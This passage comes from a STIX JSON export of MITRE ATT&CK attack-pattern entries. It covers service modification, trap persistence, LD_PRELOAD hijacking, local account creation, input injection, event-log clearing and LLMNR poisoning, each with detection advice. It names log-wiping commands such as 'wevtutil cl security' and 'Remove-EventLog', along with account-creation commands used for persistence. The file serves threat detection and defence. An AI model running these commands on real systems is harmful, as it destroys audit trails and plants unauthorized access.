                    "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
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            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-25T15:15:37.255Z",
            "name": "Modify Existing Service",
            "description": "Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and [Reg](https://attack.mitre.org/software/S0075).\n\nAdversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of [Masquerading](https://attack.mitre.org/techniques/T1036) that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.\n\nAdversaries may also intentionally corrupt or kill services to execute malicious recovery programs/commands. (Citation: Twitter Service Recovery Nov 2017) (Citation: Microsoft Service Recovery Feb 2013)",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Travis Smith, Tripwire",
                "Matthew Demaske, Adaptforward"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence. (Citation: TechNet Autoruns) \n\nService information is stored in the Registry at <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>.\n\nCommand-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute [cmd](https://attack.mitre.org/software/S0106) commands or scripts.\n\nLook for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Services may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--63220765-d418-44de-8fae-694b3912317d",
            "created": "2020-01-24T14:17:43.906Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1546/005",
                    "external_id": "T1546.005"
                },
                {
                    "source_name": "Trap Manual",
                    "description": "ss64. (n.d.). trap. Retrieved May 21, 2019.",
                    "url": "https://ss64.com/bash/trap.html"
                },
                {
                    "source_name": "Cyberciti Trap Statements",
                    "description": "Cyberciti. (2016, March 29). Trap statement. Retrieved May 21, 2019.",
                    "url": "https://bash.cyberciti.biz/guide/Trap_statement"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T14:46:52.100Z",
            "name": "Trap",
            "description": "Adversaries may establish persistence by executing malicious content triggered by an interrupt signal. The <code>trap</code> command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like <code>ctrl+c</code> and <code>ctrl+d</code>.\n\nAdversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism. Trap commands are of the following format <code>trap 'command list' signals</code> where \"command list\" will be executed when \"signals\" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)",
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                {
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                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "Linux"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "File: File Creation",
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                "Command: Command Execution",
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825",
            "created": "2020-03-13T20:09:59.569Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1574/006",
                    "external_id": "T1574.006"
                },
                {
                    "source_name": "Apple Doco Archive Dynamic Libraries",
                    "description": "Apple Inc.. (2012, July 23). Overview of Dynamic Libraries. Retrieved March 24, 2021.",
                    "url": "https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html"
                },
                {
                    "source_name": "Baeldung LD_PRELOAD",
                    "description": "baeldung. (2020, August 9). What Is the LD_PRELOAD Trick?. Retrieved March 24, 2021.",
                    "url": "https://www.baeldung.com/linux/ld_preload-trick-what-is"
                },
                {
                    "source_name": "TheEvilBit DYLD_INSERT_LIBRARIES",
                    "description": "Fitzl, C. (2019, July 9). DYLD_INSERT_LIBRARIES DYLIB injection in macOS / OSX. Retrieved March 26, 2020.",
                    "url": "https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/"
                },
                {
                    "source_name": "Intezer Symbiote 2022",
                    "description": "Joakim Kennedy and The BlackBerry Threat Research & Intelligence Team. (2022, June 9). Symbiote Deep-Dive: Analysis of a New, Nearly-Impossible-to-Detect Linux Threat. Retrieved March 24, 2025.",
                    "url": "https://intezer.com/blog/research/new-linux-threat-symbiote/"
                },
                {
                    "source_name": "Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass",
                    "description": "Jon Gabilondo. (2019, September 22). How to Inject Code into Mach-O Apps. Part II.. Retrieved March 24, 2021.",
                    "url": "https://jon-gabilondo-angulo-7635.medium.com/how-to-inject-code-into-mach-o-apps-part-ii-ddb13ebc8191"
                },
                {
                    "source_name": "Man LD.SO",
                    "description": "Kerrisk, M. (2020, June 13). Linux Programmer's Manual. Retrieved June 15, 2020.",
                    "url": "https://www.man7.org/linux/man-pages/man8/ld.so.8.html"
                },
                {
                    "source_name": "Elastic Security Labs Pumakit 2024",
                    "description": "Remco Sprooten and Ruben Groenewoud. (2024, December 11). Declawing PUMAKIT. Retrieved March 24, 2025.",
                    "url": "https://www.elastic.co/security-labs/declawing-pumakit"
                },
                {
                    "source_name": "TLDP Shared Libraries",
                    "description": "The Linux Documentation Project. (n.d.). Shared Libraries. Retrieved January 31, 2020.",
                    "url": "https://www.tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html"
                },
                {
                    "source_name": "Timac DYLD_INSERT_LIBRARIES",
                    "description": "Timac. (2012, December 18). Simple code injection using DYLD_INSERT_LIBRARIES. Retrieved March 26, 2020.",
                    "url": "https://blog.timac.org/2012/1218-simple-code-injection-using-dyld_insert_libraries/"
                },
                {
                    "source_name": "ESET Ebury Oct 2017",
                    "description": "Vachon, F. (2017, October 30). Windigo Still not Windigone: An Ebury Update . Retrieved February 10, 2021.",
                    "url": "https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T19:58:36.147Z",
            "name": "Dynamic Linker Hijacking",
            "description": "Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from various environment variables and files, such as <code>LD_PRELOAD</code> on Linux or <code>DYLD_INSERT_LIBRARIES</code> on macOS.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass) Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) Each platform's linker uses an extensive list of environment variables at different points in execution. These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions in the original library.(Citation: Baeldung LD_PRELOAD)\n\nHijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. On Linux, adversaries may set <code>LD_PRELOAD</code> to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. For example, adversaries have used `LD_PRELOAD` to inject a malicious library into every descendant process of the `sshd` daemon, resulting in execution under a legitimate process. When the executing sub-process calls the `execve` function, for example, the malicious library\u2019s `execve` function is executed rather than the system function `execve` contained in the system library on disk. This allows adversaries to [Hide Artifacts](https://attack.mitre.org/techniques/T1564) from detection, as hooking system functions such as `execve` and `readdir` enables malware to scrub its own artifacts from the results of commands such as `ls`, `ldd`, `iptables`, and `dmesg`.(Citation: ESET Ebury Oct 2017)(Citation: Intezer Symbiote 2022)(Citation: Elastic Security Labs Pumakit 2024)\n\nHijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges.",
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                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for changes to environment variables and files associated with loading shared libraries such as <code>LD_PRELOAD</code> and <code>DYLD_INSERT_LIBRARIES</code>, as well as the commands to implement these changes.\n\nMonitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS"
            ],
            "x_mitre_version": "2.1",
            "x_mitre_data_sources": [
                "File: File Creation",
                "Command: Command Execution",
                "Module: Module Load",
                "Process: Process Creation",
                "File: File Modification"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--635cbe30-392d-4e27-978e-66774357c762",
            "created": "2020-01-28T13:50:22.506Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1136/001",
                    "external_id": "T1136.001"
                },
                {
                    "source_name": "cisco_username_cmd",
                    "description": "Cisco. (2023, March 6). username - Cisco IOS Security Command Reference: Commands S to Z. Retrieved July 13, 2022.",
                    "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/s1/sec-s1-cr-book/sec-cr-t2.html#wp1047035630"
                },
                {
                    "source_name": "Kubernetes Service Accounts Security",
                    "description": "Kubernetes. (n.d.). Service Accounts. Retrieved July 14, 2023.",
                    "url": "https://kubernetes.io/docs/concepts/security/service-accounts/"
                },
                {
                    "source_name": "Microsoft User Creation Event",
                    "description": "Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.",
                    "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720"
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            "modified": "2025-04-15T19:58:36.237Z",
            "name": "Local Account",
            "description": "Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. \n\nFor example, with a sufficient level of access, the Windows <code>net user /add</code> command can be used to create a local account.  In Linux, the `useradd` command can be used, while on macOS systems, the <code>dscl -create</code> command can be used. Local accounts may also be added to network devices, often via common [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as <code>username</code>, to ESXi servers via `esxcli system account add`, or to Kubernetes clusters using the `kubectl` utility.(Citation: cisco_username_cmd)(Citation: Kubernetes Service Accounts Security)\n\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.",
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                    "phase_name": "persistence"
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            "x_mitre_contributors": [
                "Austin Clark, @c2defense"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for processes and command-line parameters associated with local account creation, such as <code>net user /add</code> , <code>useradd</code> , and <code>dscl -create</code> . Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system. (Citation: Microsoft User Creation Event) Perform regular audits of local system accounts to detect suspicious accounts that may have been created by an adversary. For network infrastructure devices, collect AAA logging to monitor for account creations.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "macOS",
                "Windows",
                "Network Devices",
                "Containers",
                "ESXi"
            ],
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            "x_mitre_data_sources": [
                "User Account: User Account Creation",
                "Process: Process Creation",
                "Command: Command Execution"
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--63e3d25c-d57d-407d-8e6a-2cecd71f90be",
            "created": "2025-03-27T18:14:06.330Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1674",
                    "external_id": "T1674"
                },
                {
                    "source_name": "BleepingComputer BackSwap",
                    "description": "Catalin Cimpanu. (2018, May 25). BackSwap Banking Trojan Uses Never-Before-Seen Techniques. Retrieved March 27, 2025.",
                    "url": "https://www.bleepingcomputer.com/news/security/backswap-banking-trojan-uses-never-before-seen-techniques/"
                },
                {
                    "source_name": "BleepingComputer USB",
                    "description": "Ionut Ilascu. (2020, March 27). FBI: Hackers Sending Malicious USB Drives & Teddy Bears via USPS. Retrieved March 27, 2025.",
                    "url": "https://www.bleepingcomputer.com/news/security/fbi-hackers-sending-malicious-usb-drives-and-teddy-bears-via-usps/"
                },
                {
                    "source_name": "welivesecurity BackSwap",
                    "description": "Michal Poslu\u0161n\u00fd. (2018, May 25). BackSwap malware finds innovative ways to empty bank accounts. Retrieved March 27, 2025.",
                    "url": "https://www.welivesecurity.com/2018/05/25/backswap-malware-empty-bank-accounts/"
                }
            ],
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            ],
            "modified": "2025-04-15T19:58:36.409Z",
            "name": "Input Injection",
            "description": "Adversaries may simulate keystrokes on a victim\u2019s computer by various means to perform any type of action on behalf of the user, such as launching the command interpreter using keyboard shortcuts,  typing an inline script to be executed, or interacting directly with a GUI-based application.  These actions can be preprogrammed into adversary tooling or executed through physical devices such as Human Interface Devices (HIDs).\n\nFor example, adversaries have used tooling that monitors the Windows message loop to detect when a user visits bank-specific URLs. If detected, the tool then simulates keystrokes to open the developer console or select the address bar, pastes malicious JavaScript from the clipboard, and executes it - enabling manipulation of content within the browser, such as replacing bank account numbers during transactions.(Citation: BleepingComputer BackSwap)(Citation: welivesecurity BackSwap)\n\nAdversaries have also used malicious USB devices to emulate keystrokes that launch PowerShell, leading to the download and execution of malware from adversary-controlled servers.(Citation: BleepingComputer USB)",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
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            "x_mitre_contributors": [
                "Alexey Kleymenov"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "macOS",
                "Linux"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Script: Script Execution",
                "Drive: Drive Creation"
            ]
        },
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            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef",
            "created": "2017-05-31T21:31:09.379Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1092",
                    "external_id": "T1092"
                },
                {
                    "source_name": "ESET Sednit USBStealer 2014",
                    "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.",
                    "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/"
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            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T22:06:39.028Z",
            "name": "Communication Through Removable Media",
            "description": "Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system.(Citation: ESET Sednit USBStealer 2014) Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091). Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor file access on removable media. Detect processes that execute when removable media is mounted.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
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            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Drive: Drive Creation",
                "Drive: Drive Access"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2",
            "created": "2020-01-28T17:05:14.707Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1070/001",
                    "external_id": "T1070.001"
                },
                {
                    "source_name": "disable_win_evt_logging",
                    "description": "Heiligenstein, L. (n.d.). REP-25: Disable Windows Event Logging. Retrieved April 7, 2022.",
                    "url": "https://ptylu.github.io/content/report/report.html?report=25"
                },
                {
                    "source_name": "Microsoft Clear-EventLog",
                    "description": "Microsoft. (n.d.). Clear-EventLog. Retrieved July 2, 2018.",
                    "url": "https://docs.microsoft.com/powershell/module/microsoft.powershell.management/clear-eventlog"
                },
                {
                    "source_name": "Microsoft EventLog.Clear",
                    "description": "Microsoft. (n.d.). EventLog.Clear Method (). Retrieved July 2, 2018.",
                    "url": "https://msdn.microsoft.com/library/system.diagnostics.eventlog.clear.aspx"
                },
                {
                    "source_name": "Microsoft wevtutil Oct 2017",
                    "description": "Plett, C. et al.. (2017, October 16). wevtutil. Retrieved July 2, 2018.",
                    "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/wevtutil"
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            ],
            "modified": "2025-04-15T19:58:36.700Z",
            "name": "Clear Windows Event Logs",
            "description": "Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Windows Event Logs are a record of a computer's alerts and notifications. There are three system-defined sources of events: System, Application, and Security, with five event types: Error, Warning, Information, Success Audit, and Failure Audit.\n\n\nWith administrator privileges, the event logs can be cleared with the following utility commands:\n\n* <code>wevtutil cl system</code>\n* <code>wevtutil cl application</code>\n* <code>wevtutil cl security</code>\n\nThese logs may also be cleared through other mechanisms, such as the event viewer GUI or [PowerShell](https://attack.mitre.org/techniques/T1059/001). For example, adversaries may use the PowerShell command <code>Remove-EventLog -LogName Security</code> to delete the Security EventLog and after reboot, disable future logging.  Note: events may still be generated and logged in the .evtx file between the time the command is run and the reboot.(Citation: disable_win_evt_logging)\n\nAdversaries may also attempt to clear logs by directly deleting the stored log files within `C:\\Windows\\System32\\winevt\\logs\\`.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Lucas Heiligenstein"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Deleting Windows event logs (via native binaries (Citation: Microsoft wevtutil Oct 2017), API functions (Citation: Microsoft EventLog.Clear), or [PowerShell](https://attack.mitre.org/techniques/T1059/001) (Citation: Microsoft Clear-EventLog)) may also generate an alterable event (Event ID 1102: \"The audit log was cleared\").",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.5",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "File: File Deletion",
                "Process: OS API Execution",
                "Process: Process Creation"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a",
            "created": "2020-10-01T01:09:53.217Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1585/002",
                    "external_id": "T1585.002"
                },
                {
                    "source_name": "Trend Micro R980 2016",
                    "description": "Antazo, F. and Yambao, M. (2016, August 10). R980 Ransomware Found Abusing Disposable Email Address Service. Retrieved October 13, 2020.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/r980-ransomware-disposable-email-service/"
                },
                {
                    "source_name": "Free Trial PurpleUrchin",
                    "description": "Gamazo, William. Quist, Nathaniel.. (2023, January 5). PurpleUrchin Bypasses CAPTCHA and Steals Cloud Platform Resources. Retrieved February 28, 2024.",
                    "url": "https://unit42.paloaltonetworks.com/purpleurchin-steals-cloud-resources/"
                },
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
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            ],
            "object_marking_refs": [
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            "modified": "2025-04-15T22:25:33.493Z",
            "name": "Email Accounts",
            "description": "Adversaries may create email accounts that can be used during targeting. Adversaries can use accounts created with email providers to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) Establishing email accounts may also allow adversaries to abuse free services \u2013 such as trial periods \u2013 to [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) for follow-on purposes.(Citation: Free Trial PurpleUrchin)\n\nAdversaries may also take steps to cultivate a persona around the email account, such as through use of [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001), to increase the chance of success of follow-on behaviors. Created email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).(Citation: Mandiant APT1)\n\nTo decrease the chance of physically tying back operations to themselves, adversaries may make use of disposable email services.(Citation: Trend Micro R980 2016) ",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "type": "attack-pattern",
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            "id": "attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e",
            "created": "2020-02-11T19:08:51.677Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1557/001",
                    "external_id": "T1557.001"
                },
                {
                    "source_name": "Rapid7 LLMNR Spoofer",
                    "description": "Francois, R. (n.d.). LLMNR Spoofer. Retrieved November 17, 2017.",
                    "url": "https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response"
                },
                {
                    "source_name": "GitHub Responder",
                    "description": "Gaffie, L. (2016, August 25). Responder. Retrieved November 17, 2017.",
                    "url": "https://github.com/SpiderLabs/Responder"
                },
                {
                    "source_name": "Secure Ideas SMB Relay",
                    "description": "Kuehn, E. (2018, April 11). Ever Run a Relay? Why SMB Relays Should Be On Your Mind. Retrieved February 7, 2019.",
                    "url": "https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html"
                },
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                    "source_name": "TechNet NetBIOS",
                    "description": "Microsoft. (n.d.). NetBIOS Name Resolution. Retrieved November 17, 2017.",
                    "url": "https://technet.microsoft.com/library/cc958811.aspx"
                },
                {
                    "source_name": "GitHub NBNSpoof",
                    "description": "Nomex. (2014, February 7). NBNSpoof. Retrieved November 17, 2017.",
                    "url": "https://github.com/nomex/nbnspoof"
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                    "source_name": "GitHub Conveigh",
                    "description": "Robertson, K. (2016, August 28). Conveigh. Retrieved November 17, 2017.",
                    "url": "https://github.com/Kevin-Robertson/Conveigh"
                },
                {
                    "source_name": "byt3bl33d3r NTLM Relaying",
                    "description": "Salvati, M. (2017, June 2). Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February 7, 2019.",
                    "url": "https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html"
                },
                {
                    "source_name": "Sternsecurity LLMNR-NBTNS",
                    "description": "Sternstein, J. (2013, November). Local Network Attacks: LLMNR and NBT-NS Poisoning. Retrieved November 17, 2017.",
                    "url": "https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning"
                },
                {
                    "source_name": "Wikipedia LLMNR",
                    "description": "Wikipedia. (2016, July 7). Link-Local Multicast Name Resolution. Retrieved November 17, 2017.",
                    "url": "https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution"
                }
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            "modified": "2025-04-15T22:44:23.234Z",
            "name": "LLMNR/NBT-NS Poisoning and SMB Relay",
            "description": "By responding to LLMNR/NBT-NS network traffic, adversaries may spoof an authoritative source for name resolution to force communication with an adversary controlled system. This activity may be used to collect or relay authentication materials. \n\nLink-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR)(Citation: TechNet NetBIOS)\n\nAdversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords.\n\nIn some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv1/v2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it.(Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay) Additionally, adversaries may encapsulate the NTLMv1/v2 hashes into various protocols, such as LDAP, SMB, MSSQL and HTTP, to expand and use multiple services with the valid NTLM response.\u00a0\n\nSeveral tools may be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174).(Citation: GitHub NBNSpoof)(Citation: Rapid7 LLMNR Spoofer)(Citation: GitHub Responder)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Eric Kuehn, Secure Ideas",
                "Matthew Demaske, Adaptforward",
                "Andrew Allen, @whitehat_zero"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor <code>HKLM\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient</code> for changes to the \"EnableMulticast\" DWORD value. A value of \u201c0\u201d indicates LLMNR is disabled. (Citation: Sternsecurity LLMNR-NBTNS)\n\nMonitor for traffic on ports UDP 5355 and UDP 137 if LLMNR/NetBIOS is disabled by security policy.\n\nDeploy an LLMNR/NBT-NS spoofing detection tool.(Citation: GitHub Conveigh) Monitoring of Windows event logs for event IDs 4697 and 7045 may help in detecting successful relay techniques.(Citation: Secure Ideas SMB Relay)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
